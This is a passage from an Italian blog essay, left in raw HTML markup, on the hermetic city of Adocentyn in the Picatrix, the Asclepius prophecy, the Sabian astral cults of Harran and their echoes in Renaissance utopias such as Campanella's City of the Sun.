Teurghi<a class=\"sdfootnoteanc\" href=\"#sdfootnote23sym\" name=\"sdfootnote23anc\"><sup>23<\/sup><\/a>\u00bb <i>Ermete<\/i> potenzi\u00f2 l&#8217;effetto dei 12 Segni Zodiacali, delle 7 luci Planetarie e dei 4 Animali Cosmici, ponendo <i>Adocentyn<\/i> sotto l&#8217;influenza di altre <i>36 Entit\u00e0<\/i>, per un totale (23 + 36) di ben <i>59 benefiche energie cosmiche <\/i>che mantenevano sani e virtuosi tutti coloro che vivevano sotto questa potente <i>cupola di energia astrale<\/i>.<\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\">L&#8217;Autore del <i>Picatrix <\/i>stranamente non specifica numero e natura di queste<i> immagini intagliate<\/i> che<i> Ermete<\/i> colloc\u00f2 intorno alla Citt\u00e0, ma \u00e8 lecito supporre che si tratti dei <i>36 Decani Egizi<\/i>, gli stessi che vengono descritti nel <i>II Libro<\/i> come immagini talismaniche e vengono chiamati prima con il nome di \u00abAspetti\u00bb e poi di \u00abAdorugen\u00bb, parola che deriva dall&#8217;Arabico \u00abdurayjan\u00bb e significa proprio <i>Decano<a class=\"sdfootnoteanc\" href=\"#sdfootnote24sym\" name=\"sdfootnote24anc\"><sup>24<\/sup><\/a><\/i>. Come abbiamo gi\u00e0 accennato i <i>Decani<\/i> <i>Egizi<\/i> erano 36 gruppi di Stelle (Asterismi e Stelle isolate) che sorgevano in particolari ore della notte. Ogni 10 giorni un <i>Decano<\/i> tramontava e uno sorgeva, coprendo in questo modo un periodo di 360 giorni corrispondente all&#8217;Anno Egizio (a cui dovevano poi essere aggiunti 5 giorni detti <i>Epagomeni<\/i>, per equipararlo all&#8217;Anno Solare). I <i>Decani<\/i> erano utilizzati come \u201corologi stellari\u201d, ma erano anche considerate vere e proprie Entit\u00e0 Divine Stellari capaci di determinare gli eventi e il corso del Destino. Gli Egiziani li chiamavano \u201ci Reggitori del Mondo\u201d e credevano che persino il Dio del Sole, <i>Ra,<\/i> dovesse ricorrere a degli incantesimi per poter continuare il suo Viaggio, quando li incontrava sul suo cammino. Al Tramonto, infatti, i Decani regnavano incontrastati. Nell&#8217;Astrologia Ellenistico-Alessandrina a ogni <i>Decano<\/i> venne assegnato un arco di dieci gradi sulla fascia dello Zodiaco, cosicch\u00e9 ogni Segno Zodiacale fosse influenzato non solo dai Pianeti in Transito, ma anche da 3 <i>Decani<\/i>, aventi ciascuno una sua specifica \u201cfigura magica\u201d.<\/p>\n<p lang=\"it-IT\" style=\"text-align: center;\" align=\"JUSTIFY\"><span style=\"color: #000000;\"><b>LA PROFEZIA DELL&#8217;ASCLEPIUS<\/b><\/span><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">L&#8217;Autore del <i>Picatrix<\/i> potrebbe aver \u201cdedotto\u201d l&#8217;esistenza della Citt\u00e0 di <i>Adocentyn<\/i> dalla \u00abdoppia profezia\u00bb contenuta nell&#8217;<i>Asclepius.<\/i><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Nella prima parte della Profezia (chiamata \u00abil Lamento\u00bb) <i>Ermete<\/i> racconta ad <i>Asclepio<\/i> che l&#8217;Egitto <i>\u00e8 il riflesso in Terra del Cielo<\/i>, ma quando la terra dei Faraoni verr\u00e0 conquista e gli invasori abbandoneranno la <i>Vera<\/i> <i>religione magica<\/i> degli Egiziani, anche i buoni costumi e le norme etiche che da essa dipendono verranno meno. A quel punto gli D\u00e8i lasceranno l&#8217;Egitto e tutto sar\u00e0 perduto. Successivamente <i>Ermete <\/i>riporta un po&#8217; di speranza in <i>Asclepio<\/i> rivelandogli che gli D\u00e8i torneranno e andranno a vivere in una Citt\u00e0 situata all&#8217;estremo confine dell&#8217;Egitto, in direzione del Sole che Tramonta e in questo luogo accorrer\u00e0 tutta la razza umana. La Profezia rievoca gli eventi storici che effettivamente si abbatterono sull&#8217;Egitto dalla conquista di Alessandro Magno fino al giogo Romano e preannuncia ci\u00f2 che effettivamente avvenne: la totale spoliazione e cancellazione del Pensiero, dell&#8217;Arte, della Cultura, delle Leggi, della Religione e della Lingua dell&#8217;Antico Egitto. La parte dedicata all&#8217;Avvento di una \u00abNuova Era\u00bb e alla costruzione di una nuova \u00abCitt\u00e0-Stato\u00bb, ricorda invece la descrizione di <i>Adocentyn<\/i>, <i>specchio in terra dell&#8217;armonia celeste<\/i> cos\u00ec come un tempo lo fu l&#8217;Egitto. La <i>Citt\u00e0 di Adocentyn <\/i>potrebbe quindi essere vista o come il ricordo della perfetta Societ\u00e0 Egizia prima della caduta incarnata da <i>Ermopoli<\/i> o piuttosto come lo schema ideale del suo futuro e universale Rinnovamento , quindi una sorta di <i>Nuova Ermopoli<\/i>. In ogni caso si tratta di un Luogo magico che garantir\u00e0 a tutti coloro che vi giungeranno da ogni parte del Mondo: s<i>alute, virt\u00f9, conoscenza e protezione da ogni male:<\/i><\/p>\n<blockquote>\n<p lang=\"it-IT\" style=\"text-align: justify;\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Forse tu ignori, o Asclepio, che l&#8217;Egitto \u00e8 l&#8217;immagine del Cielo o, per parlare pi\u00f9 esattamente, il luogo dove si trasferiscono e si proiettano tutte le operazioni delle forze che governano e agiscono nel Cielo? E se dobbiamo parlare in modo pi\u00f9 veritiero, la nostra Terra si pu\u00f2 definire come il Tempio del mondo intero. E tuttavia [&#8230;] verr\u00e0 un tempo in cui sembrer\u00e0 che gli Egizi abbiano onorato invano i loro D\u00e8i, nella piet\u00e0 del loro cuore, con un culto assiduo; tutta la loro pia devozione si riveler\u00e0 inefficace e vana. Gli D\u00e8i, infatti, abbandoneranno la Terra e risaliranno verso il Cielo, l&#8217;Egitto sar\u00e0 abbandonato e la terra che fu sede dei riti, spogliata dei suoi D\u00e8i, sar\u00e0 privata della loro presenza. E gli stranieri popoleranno questo paese, non solo non avranno pi\u00f9 cura della religione, ma ci\u00f2 \u00e8 ancora pi\u00f9 triste, si avr\u00e0 l&#8217;imposizione, mediante leggi e con la prescrizione di pene, di astenersi da ogni atto di piet\u00e0 o di culto verso gli D\u00e8i. Allora questa terra santissima, sede dei santuari e dei templi, sar\u00e0 piena di sepolcri e di morti. O Egitto, Egitto, dei tuoi culti non resteranno che leggende, le quali saranno considerate incredibili persino dai tuoi posteri e rimarranno solo parole incise sulle pietre, a narrare le tue pie azioni. Abiter\u00e0 l&#8217;Egitto lo Scita o l&#8217;Indo, o qualche altro popolo barbaro. Infatti non appena la Divinit\u00e0 salir\u00e0 al Cielo, gli uomini abbandonati moriranno, e cos\u00ec l&#8217;Egitto, privato degli D\u00e8i e degli Uomini, sar\u00e0 deserto. Asclepio. [\u2026] E avverr\u00e0 l&#8217;infausta separazione degli D\u00e8i dagli uomini, rimarranno solo gli angeli malvagi che , mescolandosi agli uomini, indurranno con violenza quei miseri a tutti gli eccessi dell&#8217;audacia volta al male, li spingeranno a fare guerre, rapine, frodi, e a tutto ci\u00f2 che \u00e8 contrario all&#8217;anima umana. [\u2026] \u00abUn giorno, gli dei che esercitano il loro dominio sulla terra saranno restaurati in una citt\u00e0 all\u2019estremo confine dell\u2019Egitto, una citt\u00e0 che sar\u00e0 fondata in direzione del sole che tramonta e nella quale accorrer\u00e0, per mare e per terra, l\u2019intera razza dei mortali. &#8211; \u00ab[Asclepio] Ma dimmi, intanto dove si trovano in questo momento questi D\u00e8i, o Trismegisto.\u00bb &#8211; \u00ab [Hermete] Hanno sede in una citt\u00e0 immensa su un monte della Libia. Questo basti per quanto riguarda tale argomento.<a class=\"sdfootnoteanc\" href=\"#sdfootnote25sym\" name=\"sdfootnote25anc\"><sup>25<\/sup><\/a><\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" style=\"text-align: center;\" align=\"JUSTIFY\"><span style=\"color: #000000;\"><b>I CULTI ASTRALI DI HARRAN<\/b><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">I <i>Sabei<\/i> della regione di <i>Harran<\/i> potrebbero essere la fonte ispiratrice sia della <i>Profezia<\/i> dell&#8217;<i>Asclepius<\/i> che della descrizione di <i>Adocentyn<\/i> contenuta nel <i>Picatrix<\/i>.<\/span><\/p>\n<figure id=\"attachment_4942\" aria-describedby=\"caption-attachment-4942\" style=\"width: 951px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4942 size-full\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/immagine_ado_2.jpg\" alt=\"\" width=\"951\" height=\"852\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/immagine_ado_2.jpg 951w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/immagine_ado_2-300x269.jpg 300w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/immagine_ado_2-768x688.jpg 768w\" sizes=\"auto, (max-width: 951px) 100vw, 951px\" \/><figcaption id=\"caption-attachment-4942\" class=\"wp-caption-text\">Immagine Inventata di Harran &#8211; Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><span style=\"color: #333333; font-size: 12pt;\">Oggi <i>Harran<\/i> \u00e8 una citt\u00e0 Turca al confine con la Siria, che <span style=\"font-family: Times New Roman,serif;\">si trova a 44 km a sud est da <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Edessa<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, l&#8217;attuale <\/span><span style=\"font-family: Times New Roman,serif;\"><i>\u015eanl\u0131urfa<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> (o<\/span><span style=\"font-family: Times New Roman,serif;\"> Urfa,<\/span><span style=\"font-family: Times New Roman,serif;\"> corrispondente all&#8217;antica citt\u00e0 mesopotamica di <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Ur<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">)<\/span><span style=\"font-family: Times New Roman,serif;\">. <\/span>Anticamente era il principale Centro della Mesopotamia Settentrionale abitato dai <i>Sabei, <\/i>il <span style=\"font-family: Times New Roman,serif;\">\u00abPopolo delle Stelle\u00bb (<\/span><span style=\"font-family: Times New Roman,serif;\">dal copto <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Sabha&#8217;ai<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">).<\/span><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><span style=\"color: #333333;\">Durante il periodo Assiro la zona di Harran<\/span><span style=\"color: #333333;\"> fu nota come <\/span><span style=\"color: #333333;\"><i>\u1e2aarr\u0101nu<\/i>, poi nel periodo Romano come <i>Carrhae<\/i>. Nei<span style=\"font-family: Times New Roman,serif;\"> primi secoli del Cristianesimo fu conosciuta anche come <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Hellenopolis<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">. Grazie al suo ruolo di \u201cstato-cuscinetto\u201d (punto di incontro di traffici e commerci tra Occidente e Oriente) pass\u00f2 indenne sotto l&#8217;occupazione dei <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Persiani<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, di <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Alessandro Magno<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> e dei<\/span><span style=\"font-family: Times New Roman,serif;\"><i> Romani<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">. Sopravvisse anche alle <\/span><span style=\"font-family: Times New Roman,serif;\"><i>persecuzioni cristiane<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> e proprio in questo periodo, s<\/span><span style=\"font-family: Times New Roman,serif;\">econdo le testimonianze di due storici musulmani,&nbsp;<\/span><span style=\"font-family: Times New Roman,serif;\"><i>al-Ma\u2018sudi&nbsp;<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">(IX secolo) e&nbsp;<\/span><span style=\"font-family: Times New Roman,serif;\"><i>Abi Usaibi\u2018a&nbsp;<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">(XIII secolo), i <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Sabei<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, gi\u00e0 <\/span><span style=\"font-family: Times New Roman,serif;\">eredi dello&nbsp;<\/span><span style=\"font-family: Times New Roman,serif;\"><i>Gnosticismo Egiziano<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">&nbsp;e della tradizione&nbsp;<\/span><span style=\"font-family: Times New Roman,serif;\"><i>Astrologica Babilonese,<\/i><\/span> <span style=\"font-family: Times New Roman,serif;\">accolsero nelle loro fila anche gli ultimi <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Filosofi Greci<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, sfuggiti alla cieca violenza epuratrice dei <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Cristiani<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, dopo che l&#8217;Imperatore <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Giustiniano <\/i><\/span><span style=\"font-family: Times New Roman,serif;\">aveva decretato la chiusura forzata dell&#8217;<\/span><span style=\"font-family: Times New Roman,serif;\"><i>Accademia Platonica<\/i><\/span><\/span><span style=\"color: #333333;\"><span style=\"font-family: Times New Roman,serif;\"> di A<\/span><\/span><span style=\"color: #333333;\"><span style=\"font-family: Times New Roman,serif;\">tene (529 d.C.). <\/span><\/span><span style=\"color: #333333;\"><span style=\"font-family: Times New Roman,serif;\">Grazie a questa commistione culturale <\/span><\/span><span style=\"color: #333333;\"><span style=\"font-family: Times New Roman,serif;\"><i>Harran <\/i><\/span><span style=\"font-family: Times New Roman,serif;\">divenne dunque \u00abil principale Centro di Diffusione della Tradizione Ermetica&nbsp;nella Tradizione Islamica e Latina\u00bb e sopravvisse anche alla <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Conquista Araba<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> del 651 d.C. . <\/span><span style=\"font-family: Times New Roman,serif;\">Gli Arabi, infatti, in cambio di <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Talismani<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Alambicchi<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> e <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Astrolabi,<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> di cui facevano ampio uso, permisero ai <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Sabei<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> di continuare a v<\/span><span style=\"font-family: Times New Roman,serif;\">enerare le statue dei loro <\/span><span style=\"font-family: Times New Roman,serif;\"><i>D\u00e8i planetari<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"><a class=\"sdfootnoteanc\" style=\"color: #333333;\" href=\"#sdfootnote26sym\" name=\"sdfootnote26anc\"><sup>26<\/sup><\/a>, a praticare i <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Culti Astrali<\/i><\/span><span style=\"font-family: Times New Roman,serif;\">, la <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Teurgia<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> e la <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Magia Astrologica. <\/i><\/span><span style=\"font-family: Times New Roman,serif;\">Solo nel 992 d.C. furono costretti a c<\/span><span style=\"font-family: Times New Roman,serif;\">onvertirsi, ma decisero di non farlo cercando, al contrario, di farsi riconoscere come \u00abahl al kitab\u00bb (\u00abGenti del Libro\u00bb) dichiarando cio\u00e8 di possedere un \u201cLibro Sacro\u201d, rivelato loro da <\/span><span style=\"font-family: Times New Roman,serif;\">un Profeta-Legislatore, che<\/span><span style=\"font-family: Times New Roman,serif;\"> identi<\/span><span style=\"font-family: Times New Roman,serif;\">ficarono con <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Ermete Trismegisto<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> e che i Musulmani non ebbero difficolt\u00e0 ad assimilare al loro Profeta coranico <\/span><span style=\"font-family: Times New Roman,serif;\"><i>Idris<\/i><\/span><span style=\"font-family: Times New Roman,serif;\"> e all&#8217;ebraico<\/span><span style=\"font-family: Times New Roman,serif;\"><i> Enoch<a class=\"sdfootnoteanc\" style=\"color: #333333;\" href=\"#sdfootnote27sym\" name=\"sdfootnote27anc\"><sup>27<\/sup><\/a><\/i><\/span><span style=\"font-family: Times New Roman,serif;\">.\u00bb<\/span><\/span><\/span><\/p>\n<p style=\"text-align: justify;\">Le fonti riferiscono che la <i>Citt\u00e0 di Harran <\/i>era a pianta circolare con <i>7 porte e 7 cancelli<\/i> dedicati ognuno a un pianeta diverso e dotati di immagini magiche e Talismani. Il Tempio Maggiore era provvisto, come quelli Minori, di una Torre d&#8217;osservazione e lo storico <i>Libanio di Antiochia<a class=\"sdfootnoteanc\" href=\"#sdfootnote28sym\" name=\"sdfootnote28anc\"><sup>28<\/sup><\/a> <\/i>lo descrive \u00absplendido come il <i>Serapeo di Alessandria<\/i>\u00bb<a class=\"sdfootnoteanc\" href=\"#sdfootnote29sym\" name=\"sdfootnote29anc\"><sup>29<\/sup><\/a>, distrutto dai Cristiani nel 391 d.C., dopo che l&#8217;editto dell&#8217;Imperatore <i>Teodosio<\/i> aveva proibito i Culti Pagani decretando il Cristianesimo unica religione dell&#8217;Impero Romano. Con la chiusura dei Templi anche <i>Harran<\/i> sub\u00ec gravi danni, ma rapidamente fu tutto ripristinato, tanto che agli inizi del V secolo la <i>Monaca Pellegrina Egeria, <\/i>nel suo famoso diario di viaggio \u00abItinerarium\u00bb, rifer\u00ec di non avere trovato un solo Cristiano in tutta la Citt\u00e0.<\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\"><a name=\"firstHeading\"><\/a>Oggi di<i> Harran<\/i> restano solo macerie e le uniche strutture riconoscibili sono alcuni edifici ottagonali e la grande<i> Torre Astronomica<\/i> quadrata del Tempio del <i>Dio Luna Sin<\/i><a class=\"sdfootnoteanc\" href=\"#sdfootnote30sym\" name=\"sdfootnote30anc\"><sup>30<\/sup><\/a>, alta quasi 50 metri e soprannominata \u00abla Torre degli Astrologi\u00bb. La Citt\u00e0 Astronomica di <i>Harran<\/i>, modellata su influenze planetarie come <i>Adocentyn<\/i>, si trova in prossimit\u00e0 del <i>Santuario Megalitico di G\u00f6bekli Tepe<\/i> (il pi\u00f9 antico del mondo) e di una contrada chiamata <i>Eski So\u011fmatar<\/i>, dove si trovano i resti di un&#8217;altra grandiosa <i>Costruzione Astrale <\/i>innalzata dai<i> Sabei<\/i>.<\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\">Secondo le ipotesi ricostruttive pare che fosse composta da <i>7 Templi<\/i> circolari e quadrati con camere cubiche sotterranee, raffigurazioni degli D\u00e8i sulle pareti e forse sistemi comunicanti di gallerie. Sembra poi che vi fossero piattaforme circolari sormontate da colossali raffigurazioni dei <i>rispettivi solidi planetari<\/i> e che i Templi fossero circondati da altari e iscrizioni magiche in caratteri siriaci, incise nella roccia. Secondo lo studioso <i>Theodor Hary<\/i> l\u2019intero complesso era stato disposto in modo da \u201crappresentare in Terra\u201d uno spettacolare allineamento astronomico \u201cverificatosi nel <i>Cielo di Harran<\/i>\u201d il 17 maggio del 93 d.C. . I 7 Templi sono infatti disposti a una distanza di circa mezzo chilometro l\u2019uno dall\u2019altro, tutti intorno a un Monte centrale<a class=\"sdfootnoteanc\" href=\"#sdfootnote31sym\" name=\"sdfootnote31anc\"><sup>31<\/sup><\/a>. Questo <i>Monte Sacro<\/i>, sul quale un tempo era presente una Torre conica, dotata secondo alcune ricostruzioni di rampe a spirale, purtroppo oggi \u00e8 solo un cumulo di macerie. Ben poco resta dell&#8217;aspetto originario di quest&#8217;area. L&#8217;unica caratteristica di rilievo \u00e8 l\u2019imboccatura di un pozzo al centro del Monte Sacro, chiuso in superficie da grandi lastre di pietra e macerie, la cui esistenza che sembra trovare analogie con un racconto del famoso enciclopedista arabo <i>Al Mas\u2019udi<\/i> [897 &#8211; 952 d.C.], nel quale si parla anche di una \u201cpietra particolare\u201d che ricorda vagamente la famosa \u00abrotunda\u00bb del <i>Faro di Adocentyn<\/i>.<\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\"><i>Al Mas\u2019udi <\/i>nel suo manuale storico-geografico &#8220;<i>Le praterie d&#8217;Oro<\/i>&#8221; [Cap. LXVII], scrisse infatti che:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\"><span lang=\"it-IT\">[&#8230;] Agli estremi confini della Terra si trova un tempio di forma circolare, che possiede sette porte ed \u00e8 sormontato da una cupola ettagonale, che \u00e8 celebre per la sua struttura e la straordinaria altezza. In cima alla cupola venne posta nei tempi antichi una specie di pietra preziosa grande come una testa di vacca, la cui luce rischiara tutti i dintorni del tempio. Molti grandi re hanno tentato senza successo di impadronirsi di questa pietra: tutti coloro che vi si avvicinano, a una distanza di dieci passi, cadono a terra morti. Se anche si usano delle lance o strumenti simili, arrivati alla stessa distanza si fermano a mezz&#8217;aria e ricadono a terra. Qualunque proiettile lanciato contro la pietra subisce il medesimo destino&#8230;In altri termini, sembra che in nessun modo e con nessun espediente sia possibile riuscirvi, e chiunque fosse tanto audace da pensare di demolire il tempio sarebbe colto da una morte istantanea. Certi sapienti ritengono che questo fenomeno sia causato da particolari pietre magnetiche dotate di propriet\u00e0 repulsive. [\u2026] Questo stesso tempio possiede un pozzo profondo la cui imboccatura ha anch&#8217;essa sette lati ed \u00e8 cos\u00ec costruito in modo tale che chiunque abbia l&#8217;impudenza di avvicinarvisi troppo ne venga trascinato dentro e precipiti fino in fondo. Il pozzo \u00e8 circondato da un anello che reca, in caratteri siriaci, la seguente iscrizione: \u201cQuesto pozzo conduce alla sala degli archivi, che custodisce la storia del mondo, la scienza dei cieli e il segreto di tutte le cose passate, presenti e future. In questo pozzo si trovano tutti i tesori del mondo, ma chiunque voglia esserne degno dovr\u00e0 esserci pari in potere, scienza e saggezza. Chiunque vi sappia arrivare, allora sapr\u00e0 di esserci pari; diversamente, comprender\u00e0 di quanto pi\u00f9 grande \u00e8 la nostra potenza, quanto pi\u00f9 vasta la nostra scienza, pi\u00f9 profonda la nostra saggezza e pi\u00f9 attenta la nostra vigilanza\u201d. Il tempio, cos\u00ec come la cupola e il pozzo poggiano su un enorme blocco di roccia massiccia, simile a una montagna, in cui \u00e8 impossibile praticare qualunque tipo di scavo. Chi ha visto questo tempio, riferisce di avere provato una sensazione di profonda tristezza e allo stesso tempo una sorta di attrazione inquieta verso questo edificio [\u2026]<a class=\"sdfootnoteanc\" href=\"#sdfootnote32sym\" name=\"sdfootnote32anc\"><sup>32<\/sup><\/a>.<\/span><\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" style=\"text-align: center;\"><span style=\"color: #000000;\"><b>ADOCENTYN E LE SOCIET\u00c1 UTOPICHE RINASCIMENTALI<\/b><\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\" align=\"JUSTIFY\"><span style=\"font-size: 12pt;\">Il Rinascimento \u201cinizi\u00f2\u201d a Firenze, nel 1462, quando <i>Cosimo d\u00e8 Medici<\/i> rifond\u00f2 l&#8217;antica <i>Accademia Platonica<\/i> di Atene in onore di <i>Gemisto Pletone<\/i>, il filosofo bizantino che in quegli anni cercava di <i>infiammare le menti<\/i> dei suoi contemporanei con il desiderio di una <i>Pace Interreligiosa<\/i>,<i> fondata sugli <\/i>antichi valori spirituali e politici della filosofia Platonica.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><span lang=\"it-IT\"><i>Marsilio Ficino<\/i><\/span><span lang=\"it-IT\">, posto a capo dell&#8217;Accademia, lavor\u00f2 duramente per riportare alla luce la Cultura Pagana sopravvissuta alle persecuzioni Cristiane del III-IV secolo d.C., ritrovando e traducendo non solo le Opere di <\/span><span lang=\"it-IT\"><i>Platone e Plotino<\/i><\/span><span lang=\"it-IT\"> e di altri famosi autori, ma soprattutto il famoso<\/span><span lang=\"it-IT\"><i> Corpus Hermeticum<\/i><\/span><span lang=\"it-IT\">, che si credeva ormai perduto.<\/span><i> <\/i><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><i>Platone <\/i>ed <i>Ermete<\/i> tornarono cos\u00ec a essere i <i>Profeti<\/i> di una \u00abNuova Era\u00bb, spingendo nuove generazioni di pensatori a credere in ci\u00f2 che <i>Pletone<\/i> aveva detto prima di morire, cio\u00e8 che nel prossimo futuro il Mondo sarebbe stato <span lang=\"it-IT\"><i>dominato<\/i><\/span><span lang=\"it-IT\"> dalla <\/span><span lang=\"it-IT\"><i>razionalit\u00e0 solare<\/i><\/span><span lang=\"it-IT\"><a class=\"sdfootnoteanc\" href=\"#sdfootnote33sym\" name=\"sdfootnote33anc\"><sup>33<\/sup><\/a><\/span><span lang=\"it-IT\">e reso perfetto dalla <\/span><span lang=\"it-IT\"><i>Guida di Sapienti Iniziati<\/i><\/span><span lang=\"it-IT\">, possessori di un s<\/span><span lang=\"it-IT\"><i>apere misterico<\/i><\/span><span lang=\"it-IT\">, nel quale sarebbero confluiti (in una sorta di nuova religione sincretica) il Cristianesimo, l&#8217;Islam, le Divinit\u00e0 Greche e quelle Orientali, la Filosofia di Pitagora e quella Platonica. <\/span><\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\" align=\"JUSTIFY\"><span style=\"font-size: 12pt;\">Nuove concezioni religiose, sociali, urbanistiche e scientifiche iniziarono perci\u00f2 a svilupparsi sotto la protezione di un nuovo tipo di Signoria politica che reclamava una maggiore indipendenza dallo strapotere ecclesiastico, il quale, ovviamente, si oppose con ogni mezzo repressivo e oscurantista a questi \u201cSogni di Riforma\u201d. Tra il 1618 e il 1649 esplose una gravissima crisi religiosa e politica che si propag\u00f2 in tutta Europa attraverso sanguinose lotte fratricide, che culminarono nella terribile Guerra dei 30 anni. Queste tragedie per\u00f2 non fecero altro che rafforzare il desiderio di una <i>Pace Religiosa Universale<\/i> e il<i> Sogno<\/i> di una <i>Societ\u00e0 Ideale<\/i> <i>retta<\/i> <i>da <\/i>un <i>Collegio di Sapienti<\/i> provenienti da Tutte le Nazioni, che avrebbero condotto al Benessere tutto il genere umano. Ecco quindi che riferimenti velati alla <i>Repubblica <\/i>di Platone, ma anche alla Citt\u00e0 di <i>Adocentyn<\/i> e quindi all&#8217;<i>Ermetismo<\/i> si propagano in alcuni dei pi\u00f9 famosi \u00abprogrammi di rinnovamento\u00bb politico, sociale e spirituale del &#8216;600<a class=\"sdfootnoteanc\" href=\"#sdfootnote34sym\" name=\"sdfootnote34anc\"><sup>34<\/sup><\/a>. Compaiono nei <i>Manifesti<\/i> dei <i>Rosacroce<a class=\"sdfootnoteanc\" href=\"#sdfootnote35sym\" name=\"sdfootnote35anc\"><sup>35<\/sup><\/a> <\/i>(1614-16), negli <i>Statuti dei Filosofi Sconosciuti<\/i> del Medico Alchimista <i>Sendivogius<\/i>, nel Sistema \u00abPansofico\u00bb (1616) del Vescovo, Umanista e Pedagogo Cecoslovacco <i>Comenius<a class=\"sdfootnoteanc\" href=\"#sdfootnote36sym\" name=\"sdfootnote36anc\"><sup>36<\/sup><\/a> <\/i>(1592-1670)<i>, <\/i>ma anche nelle pagine della <i>Nuova Atlantide (1626) di Francis Bacon, <\/i>cos\u00ec come nelle aspirazioni della nascente <i>Massoneria Speculativa<\/i>.<\/span><\/p>\n<p><span style=\"font-size: 12pt;\">Capostipite di questi libri che mescolano politica ed ermetismo \u00e8 quasi sicuramente la \u00abCitt\u00e0 del Sole\u00bb del Monaco Rivoluzionario <i>Tommaso Campanella <\/i>(1602), un&#8217;opera allegorica nella quale viene descritta una fantomatica democrazia di tipo <i>comunistico e teocratico<\/i>, che <i>Campanella<\/i> tent\u00f2 veramente di instaurare in Calabria, finendo per questo in prigione. Il racconto si rif\u00e0, in prima analisi, al mito dell&#8217;<i>Isola di Atlantide <\/i>e della <i>Repubblica<\/i> di Platone (390 a.C.), alla scoperta del <i>Nuovo Mondo<\/i> (1492) e alla \u00abCitt\u00e0 di <i>Utopia<\/i>\u00bb di <i>Thomas More <\/i>(1516), ma secondo la <i>Yates<\/i> vi sono evidenti riferimenti anche al <i>Tempio Solare<\/i> di <i>Ermete Trismegisto <\/i>e<i> <\/i>alla \u00abMagia Astrale\u00bb di <i>Adocentyn<\/i>.<\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\">Leggiamo infatti che \u00abla Citt\u00e0 del Sole \u00e8 un grande Essere collettivo a immagine del mondo\u00bb la cui missione \u00e8 riunire dentro le sue mura tutta l&#8217;Umanit\u00e0 e poich\u00e9 nella Societ\u00e0 Contemporanea regna il <i>Male<\/i>, nella sua triplice forma di <i>Impotenza, Ignoranza e Odio<\/i>, gli abitanti della <i>Citt\u00e0 del Sole<\/i> si dedicano solamente al <i>Bene supremo<\/i>, sviluppando il trinomio opposto, <i>Potenza, Sapienza <\/i>e<i> Amore<\/i>. La Citt\u00e0 \u00ab\u00e8 distinta in sette gironi, ciascuno dei quali ha il nome di un Pianeta; vi si accede da 4 porte, rivolte ai quattro punti cardinali, le quali immettono in 4 strade che intersecano 7 gironi. Al sommo dei 7 gironi, c&#8217;\u00e8 un gran piano saldamente fortificato su cui sorge un Tempio <i>rotondo con 